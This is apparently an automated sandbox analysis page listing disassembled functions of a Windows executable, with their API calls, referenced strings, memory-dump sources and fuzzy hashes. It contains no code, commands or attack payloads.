Instruction Fuzzy Hash: 68916275A00A85CAFB209F65D8547DA2351F788B88F444539DE5E0BB9ADF79CB0BC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29903C Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 317fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 000000013F299174
CreateFileW.KERNEL32 ref: 000000013F299253

Part of subcall function 000000013F299F5C: GetCurrentProcess.KERNEL32 ref: 000000013F299F7F
Part of subcall function 000000013F299F5C: GetLastError.KERNEL32 ref: 000000013F299FE0
Part of subcall function 000000013F299F5C: CloseHandle.KERNEL32 ref: 000000013F299FF3

Part of subcall function 000000013F29D408: DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,000000013F29C5D2), ref: 000000013F29D430
Part of subcall function 000000013F29D408: DeleteFileW.KERNEL32(?,?,?,?,?,?,?,000000013F29C5D2), ref: 000000013F29D45B

CloseHandle.KERNEL32 ref: 000000013F299276
wcscpy.LIBCMT ref: 000000013F2992C5
wcscpy.LIBCMT ref: 000000013F2992EE
wcscpy.LIBCMT ref: 000000013F299366
wcscpy.LIBCMT ref: 000000013F29938F
CreateFileW.KERNEL32 ref: 000000013F2993C5
DeviceIoControl.KERNEL32 ref: 000000013F299426
CloseHandle.KERNEL32 ref: 000000013F299437
GetLastError.KERNEL32 ref: 000000013F299456
RemoveDirectoryW.KERNEL32 ref: 000000013F2994A4
DeleteFileW.KERNEL32 ref: 000000013F2994AF

Strings

SeRestorePrivilege, xrefs: 000000013F29908E
SeCreateSymbolicLinkPrivilege, xrefs: 000000013F29909A
\??\, xrefs: 000000013F29910A
UNC\, xrefs: 000000013F299144

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Filewcscpy$CloseDeleteHandle$CreateErrorLast$ControlCurrentDeviceDirectoryProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 493713576-3508440684
Opcode ID: 585da2814ca4d840618336de7ce83cc2cab412d78afd283e5cf5861401da5eef
Instruction ID: 580ab89301f8011e61b26b8f3ac60858b1f95f5651be5bfa2dab7ac2f43a45a6
Opcode Fuzzy Hash: 585da2814ca4d840618336de7ce83cc2cab412d78afd283e5cf5861401da5eef
Instruction Fuzzy Hash: C3E1A132A04681C6EB20DF61E9507EF7364FB417D8F844139EA8A47AAADF38C657C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B7388 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000000013F2B73A4
RtlCaptureContext.KERNEL32 ref: 000000013F2B73D1
RtlLookupFunctionEntry.KERNEL32 ref: 000000013F2B73EB
RtlVirtualUnwind.KERNEL32 ref: 000000013F2B742C
IsDebuggerPresent.KERNEL32 ref: 000000013F2B7480
SetUnhandledExceptionFilter.KERNEL32 ref: 000000013F2B74A1
UnhandledExceptionFilter.KERNEL32 ref: 000000013F2B74AC

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1cccea8635c3508c15296068c359dbd06a7f7fdb47bc52dff3748f3d4d690920
Instruction ID: 279a61ed73bf4e33a473a3dab4e974d13cc4ccc3c07ac8586ba71e8f0f01d1fe
Opcode Fuzzy Hash: 1cccea8635c3508c15296068c359dbd06a7f7fdb47bc52dff3748f3d4d690920
Instruction Fuzzy Hash: F631FB72605B84CAEB609FA4E8507EE7375F784744F44442ADA4E47B99DF38C64AC710

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2BBB94 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000000013F2BBC0D
RtlLookupFunctionEntry.KERNEL32 ref: 000000013F2BBC25
RtlVirtualUnwind.KERNEL32 ref: 000000013F2BBC60
IsDebuggerPresent.KERNEL32 ref: 000000013F2BBC99
SetUnhandledExceptionFilter.KERNEL32 ref: 000000013F2BBCA3
UnhandledExceptionFilter.KERNEL32 ref: 000000013F2BBCAE

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2a1a34c23c061acde6bdbeebd1a2f01149dce54cd8164de65d9e2cbb96c69dac
Instruction ID: ab7e20ccd931181748ef054786a64b713be53685bcf8aa383c09cb53fb42ae52
Opcode Fuzzy Hash: 2a1a34c23c061acde6bdbeebd1a2f01149dce54cd8164de65d9e2cbb96c69dac
Instruction Fuzzy Hash: 34313A32604F80DAEB60CB65E8407DF73A4F788B54F54012AEE9D43B99DF38C6568B00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C3F44 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000013F2C3F74

Part of subcall function 000000013F2BBDF0: GetCurrentProcess.KERNEL32(000000013F2C517D), ref: 000000013F2BBE1D

Strings

., xrefs: 000000013F2C4394
*?, xrefs: 000000013F2C3F9B

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 61dddb0fd46d8b382a6636bcfdb25f8edd0f775905ac41a4c6184214faf47e9a
Instruction ID: db1676ea1758199aa807eb7c08ada09bf7e61b5dac2b84b0bc18e0a5dc611984
Opcode Fuzzy Hash: 61dddb0fd46d8b382a6636bcfdb25f8edd0f775905ac41a4c6184214faf47e9a
Instruction Fuzzy Hash: D051D072B10A94C5EF14DFE29801BEE67A4FB54BD8F45453AEE5A17B85DA38C542C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F298AD4 Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,000000013F298D1E), ref: 000000013F298AE4
FormatMessageW.KERNEL32 ref: 000000013F298B0D

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: bc9588781f9e8ae787a89482c96c7bb4dfbb91f801cfc18cd6f2d20acdee2986
Instruction ID: 5953432ad86385e5310577b8a356d040e63e44ac7f98aed50f8e8fc738435d41
Opcode Fuzzy Hash: bc9588781f9e8ae787a89482c96c7bb4dfbb91f801cfc18cd6f2d20acdee2986
Instruction Fuzzy Hash: A2E06572B04740C2E7208F22F5507ABA295B755BD4F1D81389A4587A94DB3CC5528704

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2AF908 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 000000013F2AF969
wcscat.LIBCMT ref: 000000013F2AF978
wcscat.LIBCMT ref: 000000013F2AF987
wcscat.LIBCMT ref: 000000013F2AF9C8
wcscat.LIBCMT ref: 000000013F2AF9DB
GlobalAlloc.KERNEL32(?,?,?,?,?,000000013F2B05FB), ref: 000000013F2AFA0F
WideCharToMultiByte.KERNEL32 ref: 000000013F2AFA47
CreateStreamOnHGlobal.OLE32 ref: 000000013F2AFA74

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 000000013F2AF96E
utf-8"></head>, xrefs: 000000013F2AF97D
<html>, xrefs: 000000013F2AF95F, 000000013F2AF9A7
, xrefs: 000000013F2AF98C
</html>, xrefs: 000000013F2AF9D1

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: wcscat$Global$AllocByteCharCreateMultiStreamWidewcscpy
String ID: $</html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 3314394749-1507786326
Opcode ID: 2dde6f047b679c915e4dca430a4e1c1911ef25cf9b321f19b76427309ce7f4ad
Instruction ID: d39bf699a59a2cbee0f4baec337e65a242f882a82d0bbbd60eca885c1adb8777
Opcode Fuzzy Hash: 2dde6f047b679c915e4dca430a4e1c1911ef25cf9b321f19b76427309ce7f4ad
Instruction Fuzzy Hash: 49417F76A00B44C1FF14EB66E9543EA6761AB88BC0F4441399E490B7AAEF3CC64BC301

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C2998 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000013F2C2B15

Strings

NAN(SNAN), xrefs: 000000013F2C2A2D
nan, xrefs: 000000013F2C2A00
nan(ind), xrefs: 000000013F2C2A4E
INF, xrefs: 000000013F2C2A0B
inf, xrefs: 000000013F2C2A1E
nan(snan), xrefs: 000000013F2C2A38
NAN(IND), xrefs: 000000013F2C2A43
NAN, xrefs: 000000013F2C29F9

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 830a02f2d1ce28f0f26177b07792ed9f188223e13c7520931e8b97b82f32b3d6
Instruction ID: 11cb9248c0f023015d3dc550fb50fb0f32abc65b6fe6e86b9866093f98a47327
Opcode Fuzzy Hash: 830a02f2d1ce28f0f26177b07792ed9f188223e13c7520931e8b97b82f32b3d6
Instruction Fuzzy Hash: F3419C72A02B44CDEB54CF65E8517CE37A4E754398F50413AEE9C07BA9DE39C266C380

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B2100 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 000000013F2B211E

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ItemTextWindow
String ID: LICENSEDLG
API String ID: 2478532303-2177901306
Opcode ID: e20e34dec6b286e3b77eaa2b8b932417d3f53d79024942fbc140c6c880f350a6
Instruction ID: 5a1f4a43656f116fbb64eeb56d78b21daf6df99b498b59cf7b1ad152a871520b
Opcode Fuzzy Hash: e20e34dec6b286e3b77eaa2b8b932417d3f53d79024942fbc140c6c880f350a6
Instruction Fuzzy Hash: F9418A35B14745C2FB559B12E8447EA23A4B789F80F54413EDE0A47BAACE2CCB47C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B47EC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 000000013F2B4831
GetClassNameW.USER32 ref: 000000013F2B485E
GetWindowLongPtrW.USER32 ref: 000000013F2B487F
SendMessageW.USER32 ref: 000000013F2B4899
GetObjectW.GDI32 ref: 000000013F2B48B4
SendMessageW.USER32 ref: 000000013F2B48E9
DeleteObject.GDI32 ref: 000000013F2B48F2
GetWindow.USER32 ref: 000000013F2B4900

Strings

STATIC, xrefs: 000000013F2B4864

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassDeleteLongName
String ID: STATIC
API String ID: 2845197485-1882779555
Opcode ID: 7ac47d7ed1b220d745810030047bda2d9fbd8d42c9736def71ff58465e4c96f3
Instruction ID: 0948f15866c9e3f97e025cfc4ba871566fd53310cf09c76fd41e3a36fb121934
Opcode Fuzzy Hash: 7ac47d7ed1b220d745810030047bda2d9fbd8d42c9736def71ff58465e4c96f3
Instruction Fuzzy Hash: D7317231B05A96C6FE60DB11A9547EA23A1F789BC4F440439DE4A07B99DF38CA47CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B1240 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 67timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32 ref: 000000013F2B126F
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 000000013F2B1281
SystemTimeToFileTime.KERNEL32 ref: 000000013F2B1291
FileTimeToSystemTime.KERNEL32 ref: 000000013F2B12A1
GetDateFormatW.KERNEL32 ref: 000000013F2B12C7
GetTimeFormatW.KERNEL32 ref: 000000013F2B12FF
swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2B132A

Strings

%s %s, xrefs: 000000013F2B1320
2, xrefs: 000000013F2B12DB

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Time$System$File$Format$DateLocalSpecificswprintf
String ID: %s %s$2
API String ID: 1692029381-3036323853
Opcode ID: ede5e6b769960d0b1a275bfac8d84711a033dd5369ce5698a12840544c12596f
Instruction ID: 1aefd5f2801bf496a8f72adeb0af396c1c67774d4b5f66d4a4b817689ada116c
Opcode Fuzzy Hash: ede5e6b769960d0b1a275bfac8d84711a033dd5369ce5698a12840544c12596f
Instruction Fuzzy Hash: 8B21A973A04A85D6EF108FA5F8007DB77A5F788798F401026EA4A13A68DF3CC64ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B4944 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 178COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 000000013F2B4B11
GetExitCodeProcess.KERNEL32 ref: 000000013F2B4B49
CloseHandle.KERNEL32 ref: 000000013F2B4B73
ShowWindow.USER32 ref: 000000013F2B4BCC

Strings

.inf, xrefs: 000000013F2B4A7F
Install, xrefs: 000000013F2B4A90
.exe, xrefs: 000000013F2B4B7E
p, xrefs: 000000013F2B49B7

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ShowWindow$CloseCodeExitHandleProcess
String ID: .exe$.inf$Install$p
API String ID: 235082525-3607691742
Opcode ID: 953f46be555f41e9b22a85db196e1426dd5d20eb2cb2767c9262e53bfa33a06f
Instruction ID: 6aebc35ffb82cab54a69e70afc14e76307be6d3a9414159899d29e19bda63dc2
Opcode Fuzzy Hash: 953f46be555f41e9b22a85db196e1426dd5d20eb2cb2767c9262e53bfa33a06f
Instruction Fuzzy Hash: 89718032E04789D5FB649F55E8A07EB73A0F784784F54413DDE4A47698EB38CA56C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B9C8C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000000013F2B9E2A
std::bad_alloc::bad_alloc.LIBCMT ref: 000000013F2BA14D
abort.LIBCMT ref: 000000013F2BA181

Strings

csm, xrefs: 000000013F2B9E51
csm, xrefs: 000000013F2B9D71
csm, xrefs: 000000013F2B9DD3

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: a5bd8a248080d43b613735530291df55df3c9da5d07db07e5248e4fa39f42a24
Instruction ID: 8ff641b30a8f5daa2c3e7cd8f22de424d24ccf76a4a056bb021f13f405d019be
Opcode Fuzzy Hash: a5bd8a248080d43b613735530291df55df3c9da5d07db07e5248e4fa39f42a24
Instruction Fuzzy Hash: 0DE1AD73E00789CAEB609F75D4813EE3BA0F355758F15422AEE8947796DB34DA82CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29E8D4 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 161COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 000000013F29EADC

Strings

Windows 10, xrefs: 000000013F29EAC0
ROOT\CIMV2, xrefs: 000000013F29E91A
Name, xrefs: 000000013F29EAAF
SELECT * FROM Win32_OperatingSystem, xrefs: 000000013F29E9D7
WQL, xrefs: 000000013F29E9EA

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ClearVariant
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 1473721057-3505469590
Opcode ID: 109e0eb20b2feaddf5308beb1d30b3f2d6e9e237cd0707f6e0f8bfdb3fec98d4
Instruction ID: b0ae71347e1c682168b8c10c7e4fe68c8584378190e024e674d218ff70aef9df
Opcode Fuzzy Hash: 109e0eb20b2feaddf5308beb1d30b3f2d6e9e237cd0707f6e0f8bfdb3fec98d4
Instruction Fuzzy Hash: 53711536A10A44C5EB10CF65E890BDA77B4F788BD8F44512AEA4E53BA8CF38C656C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29C338 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 000000013F29C384
GetShortPathNameW.KERNEL32 ref: 000000013F29C3A5

Part of subcall function 000000013F2A6B34: CompareStringW.KERNEL32 ref: 000000013F2A6B53

swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F29C44F
MoveFileW.KERNEL32 ref: 000000013F29C4BD
MoveFileW.KERNEL32 ref: 000000013F29C505

Strings

rtmp%d, xrefs: 000000013F29C445

Memory Dump Source

